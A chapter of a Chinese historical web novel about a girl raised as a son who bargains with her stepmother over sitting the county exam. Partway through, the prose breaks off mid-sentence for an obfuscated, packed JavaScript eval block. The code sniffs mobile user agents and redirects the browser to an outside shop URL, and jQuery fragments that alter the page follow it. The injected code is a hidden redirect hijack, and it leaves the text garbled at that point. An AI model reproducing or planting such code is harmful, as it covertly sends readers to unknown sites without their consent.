江南的雨季总是来得绵长。


    谢青梧跪在祠堂冰硬的石板上，已经两个时辰了。膝盖从刺痛到麻木，最后只剩下一片钝钝的沉。祠堂里只点了一盏灯，昏黄的光晕在祖宗牌位间跳跃，那些描金的字忽明忽暗，像是许多双眼睛在俯视着她。


    门外有脚步声。


    很轻，是女子的绣鞋踩在青砖上的声音。春杏端着热水进来时，眼睛红得厉害。


    “公子……”她蹲下身，声音压得极低，“您就服个软吧，再跪下去，腿要废了。”


    谢青梧没动。她看着供桌最下层那个新添的牌位，谢门林氏。那是她生母，三天前刚去。死于一场来势汹汹的风寒，也死于这深宅里经年累月的冷落。


    “废不了。”她开口，声音有些哑，是刻意压低的少年音色，“他们还需要我去考试。”


    春杏的泪一下子就掉下来了。


    是啊，考试。


    谢家的嫡长子谢明远，三日前突发急症，上吐下泻，如今还躺在床上起不来身。而三天后，就是县试开考的日子。


    谢家这一辈，就两个“儿子”。嫡子谢明远，庶子谢怀瑾——也就是女扮男装的谢青梧。


    “可是公子，”春杏声音发颤，“万一，万一被人发现……”


    “不会。”谢青梧说得平静。她维持这个身份十四年了，从记事起就知道自己是“谢怀瑾”，是谢家的庶子。束胸，压嗓，学男子的举止步态，这些事她做了十年。连她自己有时候都会恍惚，好像生来就该是这样。


    祠堂外又传来脚步声。


    这次很重，是男子的靴子声。门被推开，嫡母王氏站在门口，身后跟着两个婆子。她穿着深紫色的缎子袄，鬓边簪着金钗，脸上的神色比祠堂里的牌位还冷。


    “想明白了没有？”王氏走进来，居高临下地看着跪在地上的人。


    谢青梧抬起头：“母亲想让我明白什么？”


    “明白你该做什么。”王氏在旁边的太师椅上坐下，婆子立刻递上热茶，“明远病着，县试不能耽误。你是谢家子，该为家族出力。”


    话说得冠冕堂皇。


    谢青梧心里却清楚得很。谢明远那病来得蹊跷，十有八九是怕考不上丢人，故意把自己弄病的。而王氏要的，是谢家必须出一个有功名的人，不管这个人是嫡是庶。


    “儿子愿意去考。”谢青梧说。


    王氏脸上露出一丝满意的神色。


    “但是，”谢青梧接着说，“儿子有三个条件。”


    王氏的笑意僵住了。


    “你说。”


    “第一，县试之后，我要搬出谢家，自立门户。”谢青梧的声音很稳，每个字都咬得清楚，“第二，我的户籍要单独立出来，名字就写谢怀瑾。第三——”


    她顿了顿，看向那个新牌位。


    “我娘要进祖坟，碑上刻正名，不能只写林氏。”


    祠堂里静得可怕。


    春杏吓得连呼吸都屏住了。那两个婆子低着头，恨不得自己没长耳朵。王氏盯着谢青梧，眼神像刀子一样刮过来。


    许久，王氏才慢慢开口：“你是在跟我谈条件？”


    “儿子不敢。”谢青梧垂下眼睛，“只是既然要替谢家争功名，总该有些底气。不然考场上心神不宁，写不出好文章，反倒辜负了母亲的期望。”


    这话说得客气，意思却明白，你不答应，我就考不好。


    王氏冷笑一声：“你倒是会算计。”


    她站起身，走到供桌前，拿起三炷香点燃，插进香炉里。青烟袅袅升起，模糊了牌位上的字。


    “我答应你。”王氏背对着她说，“但你也记住，若是考不上，或是露了馅——”


    她转过身，烛光在她脸上投下深深的阴影。


    “你知道后果。”


    谢青梧叩了个头：“儿子明白。”


    王氏走了。祠堂里又只剩下谢青梧和春杏两个人。春杏这才敢大口喘气，慌忙去扶她：“公子，快起来，腿……”


    “扶我去我娘院里。”谢青梧借着她的力站起身，膝盖刺痛得让她眼前发黑，但她咬着牙没出声。


    林姨娘生前住的院子很偏，离主院隔着一整个花园。如今人走了，院里更显冷清，只有廊下挂着一盏白灯笼，在风里晃。


    谢青梧推开卧房的门。


    屋里还保持着原样。一张简单的木床，一个梳妆台，一个衣柜。梳妆台上放着个木匣子，没上锁。谢青梧走过去打开，里面是几件不值钱的首饰，还有一本旧书。


    书是《诗经》，纸页泛黄，边角都磨毛了。那是林姨娘生前最爱看的，她说女子读不懂经史子集，但总该知道“关关雎鸠”是什么意思。


    谢青梧拿起书，翻开第一页。


    扉页上有一行小字，是林姨娘的笔迹，写得有些歪斜，大概是病中写的：“梧儿，娘只愿你平安。”


    她盯着那行字看了很久。


    春杏在一旁小声说：“姨娘去之前，一直念着公子。她说对不起您，让您生为女儿身，却要过这样的日子……”


    “不。”谢青梧合上书，“她给了我一条活路。”


    如果不是从小被当成男孩养大，她或许早就被随便许给哪个人家做妾，或是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946667|193012||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像这宅子里其他庶女一样，关在后院等着被安排命运。


    而现在，她至少能去考试。


    能走出去。


    “春杏。”她把书放回匣子里，“去把我那些备考的书都收拾出来。还有，把我前些日子做的束胸衣拿出来，再检查一遍。”


    春杏应了声，犹豫着问：“公子，您真的要去考吗？万一……”


    “没有万一。”谢青梧望向窗外。雨还在下，细细密密的，把庭院里的青石板洗得发亮。


    “我要去考。”


    不仅要考，还要考好。


    谢家需要一个功名，她也需要。那是她脱离这个牢笼的唯一机会，是她能堂堂正正站在阳光下的第一步。


    至于以后——


    她想起去年偷偷溜出府，在街市上看到的那些女子。卖花的姑娘被醉汉调戏不敢吭声，布庄的老板娘被丈夫当众打骂，桥头有个妇人抱着孩子在哭，听说是生不出儿子被休了。


    这世道对女子太苛刻。


    她想做点什么。


    哪怕只是很小的一点改变。


    “公子。”春杏抱着书和衣服回来，眼圈又红了，“您一定要小心。”


    谢青梧接过那件特制的束胸衣。白色的细棉布，里层加了软革，边缘缝得密密实实。她摸了摸，确认没有任何破绽。


    “我知道。”她说。


    窗外传来打更的声音。


    三更天了。


    离天亮还有两个时辰，离县试开考还有三天。


    时间很紧。


    但够用了。


    谢青梧换上衣衫，对镜整理仪容。镜中的少年眉眼清秀，身形单薄，但因为刻意训练的挺拔姿态，并不显得女气。她试着笑了笑，嘴角扬起的弧度恰到好处，温和而不失力度。


    像读书人该有的样子。


    像谢怀瑾该有的样子。


    “春杏。”她转身，“我娘那本《诗经》，帮我收好。”


    “公子要带着？”


    “不带。”谢青梧说，“等我考完了，回来取。”


    等她有了功名，有了自立门户的资格，就能正大光明地把母亲的牌位请进祖坟，把母亲的遗物好好保管。


    而不是像现在这样，连一本旧书都要藏着掖着。


    雨渐渐小了。


    天边泛起一点灰白。


    谢青梧吹熄了灯，走出房门。祠堂方向传来早起的下人打扫的声音，主院那边也有了动静。


    她深吸一口气，挺直脊背，朝着自己的院子走去。脚步踏在湿漉漉的青石板上，发出清晰的声响，一步，又一步。